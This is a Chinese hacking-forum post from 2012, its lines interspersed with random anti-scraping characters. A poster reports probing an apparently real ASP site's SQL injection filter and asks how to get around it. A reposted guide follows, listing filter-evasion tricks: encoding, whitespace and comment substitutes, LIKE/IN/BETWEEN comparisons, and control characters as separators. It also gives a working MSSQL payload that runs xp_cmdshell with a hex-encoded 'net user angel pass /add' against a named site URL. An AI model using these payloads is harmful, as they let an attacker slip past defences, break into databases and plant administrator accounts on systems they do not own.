找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2045|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
路过这个网站,检测了一下.  @: Q% z- R3 \# f& u
http://www.xxx.cn/Article.asp?ID=117 and 1=1
  L8 |0 q- n" R! }4 T* A. G' _直接返回主页7 e( n, L7 c8 s
http://www.xxx.cn/Article.asp?ID=117 or 1=12 z- F7 K2 \; w" C
直接返回主页& z, }: D8 c* g( i4 o2 ]; Y- ?
http://www.xxx.cn/Article.asp?ID=117 or" e: K- i+ V3 m- m3 ?" X2 L$ X# V
没有返回主页 没有过滤or
1 g5 t. T; l# f! `* y5 r0 R- |http://www.xxx.cn/Article.asp?ID=117 and
1 m6 S. a) C; {# [& M( z2 X9 _直接返回主页 看来过滤了and
1 u, j9 U6 C9 i3 k3 p- lhttp://www.xxx.cn/Article.asp?ID=117 or 14 g) k8 G0 s. _1 A% S
没有返回主页 即没有过滤or 也没有过滤1
! f7 ^; h7 z* K& F2 O- G- Ahttp://www.xxx.cn/Article.asp?ID=117 or 1=1
; G5 o; `# _( ~3 R9 m" @直接返回主页 很明显过滤了等号
0 _6 x& x% D, [or的特性是与and相反的.) @/ g% Z6 l) o9 E
or 1=1 爆错 或与原页面不同
" M, }6 O$ E$ c$ W) N9 sor 1=2 原页面相同
& x4 g; ~' }7 `* a9 B" s这样就是一个注入点
" R% H( i" e2 R2 l) q  c% m但他过滤了=号 我就用><号代替=号吧!# E5 K" ?- \: U: K" s
or 1<2 很明显是正确的,所以应该与原页面不同$ o& y, ]) g3 ~1 `2 E
or 1>2 很明显是错误的,所以应该与原页面相同
3 L, M' Y" C! g7 i% Z: J4 l然后看看有没有过滤其他的查询语句,比如select.
1 y. }$ H# t& |/ i3 d! c  K+ g# C- O- Uhttp://www.xxx.cn/Article.asp?ID=117 select
3 C! ]* K2 v' V; o直接返回主页2 d" L4 N- N- K# f* J$ r& d
又迷茫了..4 I& w+ G( x: e8 }

1 J, H3 ?6 b- ]- _2 H5 R/ R
7 f" x2 x, G) tcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗( O3 a$ v! y, B
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)- J* j  R2 S" n0 V
================================================( s8 \% Y& n$ C3 _2 x' M) Q  q' O
以下是转贴:
* n# g7 ?6 [' s7 ^5 {. ^, Y: |/ x) C
8 x3 h! D. ?3 f突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
/ b8 u9 V# ?& k% `3 n经过我的收集,大部分的防注入程序都过滤了以下关键字:
" A* [" [; K4 y+ }. v) y8 @( E0 a3 S' qand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
  R+ S6 Z8 E* L而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 7 V7 V# s/ Y7 S1 o( ^) R! L7 ?
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 4 o/ i- |! c  v* `
1、运用编码技术绕过
# O8 t3 o2 \9 U* J2 @% R- }如URLEncode编码,ASCII编码绕过。例如or 1=1即
& e( }% S+ [* ~4 S4 l7 ~8 @%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
: A7 D4 u0 L! o
6 S0 V. y% |  n; T  A  k; ~2、通过空格绕过
, U9 l7 O. N# Q: N& l6 g7 s  [9 K9 H如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ' o' S8 ]  J' B; I8 r" Y, l
or’ swords’ =‘swords’ # M& Z( i& |5 I
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
5 o) o* D$ ^3 w! }: O3、运用字符串判断代替 ' c. j; s; f' q& h9 J9 q( `4 A. y
用经典的or 1=1判断绕过,如 % O3 [  O" j5 _; r# }: H. Z
or ’swords’ =’swords’
. t) I7 m8 k% U,这个方法就是网上在讨论的。
: O' ?) e7 F& w, c+ e9 L' k4、通过类型转换修饰符N绕过 + K, y0 D( K8 g) I  p
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 0 \3 l; k% E; o+ \) q9 g" o
5、通过+号拆解字符串绕过
$ U+ i; l- B* t$ d( ]效果值得考证,但毕竟是一种方法。如 ' \/ R4 @6 k2 E4 v$ C
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ )
$ l2 H6 t6 l( H
8 h2 n) F, z6 I' i6、通过LIKE绕过 2 N/ O  v; y0 d( ~; `* `4 I% L
以前怎么就没想到呢?如or
/ r0 W8 v  y' ]+ |# X/ ?’swords’ LIKE ’sw’ - W7 O2 [: `7 z  o3 E
!!!显然可以很轻松的绕过 , c" v, c/ N3 O- r
“=”“>” ) x( X- P' t: ^3 {( m
的限制…… + o, B' l; w. s( ]
7、通过IN绕过 5 ^$ N# a8 N/ h. q9 Q
与上面的LIKE的思路差不多,如 2 g: o$ a3 D3 K4 G/ f0 i) H3 J& o
or ’swords’ IN (’swords’) / |: z, n. R( t1 r$ ^

. a0 ], A- t5 [. j! Q$ {' M8、通过BETWEEN绕过 0 v4 Q! u( Q# |1 S2 N
; |: U* z) N: K, o5 y! N
or ’swords’ BETWEEN ’rw’ AND ’tw’
& p( }0 Y( F9 @& |5 B7 S$ B/ l3 l+ L$ V& y8 o, z( h1 |
9、通过>或者<绕过
; V/ ^5 z. z8 |: ~8 c0 Bor ’swords’ > ’sw’ + T5 a4 @' B$ o
or ’swords’ < ’tw’ 3 |  y! I, x( t7 H
or 1<3 5 j1 V8 V% O9 ?7 P, L
……
* v- g1 Q4 l5 j+ R10、运用注释语句绕过
  t" v. b: R. z& Z+ H- G# g用/**/代替空格,如:
* L" R. G( N( ]" y* TUNION /**/ Select /**/user,pwd,from tbluser . A3 B$ k; h: i  o

8 V4 n! W6 }* A/ o" P用/**/分割敏感词,如:
; {: u3 y) M* a" w) q  F$ t2 M+ o  }U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
' |0 [8 k# c* s2 F6 n, k( N2 M: {3 t! J, `  r
11、用HEX绕过,一般的IDS都无法检测出来
7 X& \$ u5 `! \5 c/ H0x730079007300610064006D0069006E00 =hex(sysadmin) $ J) R) T* \. X5 v" r; d
0x640062005F006F0077006E0065007200 =hex(db_owner) 5 V2 n+ j$ Q$ D# g2 M
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ( T' `& H8 v+ E+ O5 i
  declare @a sysname 2 N6 C0 O, E0 w0 y% d! K7 O
  select @a= 0 @3 f- Y  e6 Z5 x0 j
  exec master.dbo.xp_cmdshell @a
* F4 M7 U8 y/ e% k% o# x3 Y& G效果 # b! ~6 W% A  [* Z/ B
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
; o+ ~. K8 A1 o2 M3 Y$ {) D
! w6 B+ s! |+ O) m' I# T% [( y其中的
' ?+ J2 I+ P! L) Z1 D/ W3 v0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
5 }. ~. g7 r5 X9 {+ {* s* }就是
2 m  U# i7 G$ V4 D( O# r“net user angel pass /add”
8 L# t% V4 B$ _6 w* w$ }, V* w! b) N( j
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。, w+ R6 R& t% Q: s8 z
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
" J/ k  D* f' g% i( g( `另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
2 ^0 B  B$ m1 i: s* J% ?Copy code0 {( f. p" x" b% k% ?+ _. h% D
select * from table exec xp_cmdshell'xxxxxxxxxx') ]0 t; U3 \8 q/ N: `8 @9 Z

3 T9 ~# q+ l2 J' ]' f
) Y9 Z. @6 o3 z" \- P: c1 }% hselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'& P, b# l( Q9 E  w" q4 h

- W- y! u/ `1 G  o) w& z
! h. N2 U  E1 q( G7 g4 f  p3 bselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'; P7 h5 G" Y, F  y3 M' d2 y
$ q7 q/ H! W1 }1 m7 s

6 w" G3 ?( X; L: Y$ x3 nselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'2 c3 K8 l7 ?% C+ y6 m. N

, G( p+ G, p3 p. g5 C0 L+ K. T1 U的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?/ M( a' D3 t5 |$ Q& j

. D/ ]% S4 P! E* B- ^这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了7 c% D" W: \8 B9 S  y; N
可能大家早就知道了,不管怎么说,发在这里吧!
8 C! L0 v3 p' B8 S
) R- e/ R; \, N8 I最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
# w( [- W0 V0 g- i  Y0 q2 Z3 \, w3 X4 }' u
' M3 n) E. e$ J, _: I

! x# R4 V% p! C* D* ]6 d3 F; |对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
& C  M* g; E# ~1 F# d比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
* v8 i* j8 t& @) ~) v# D5 F  F$ @
' m+ t+ j" H0 X& @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表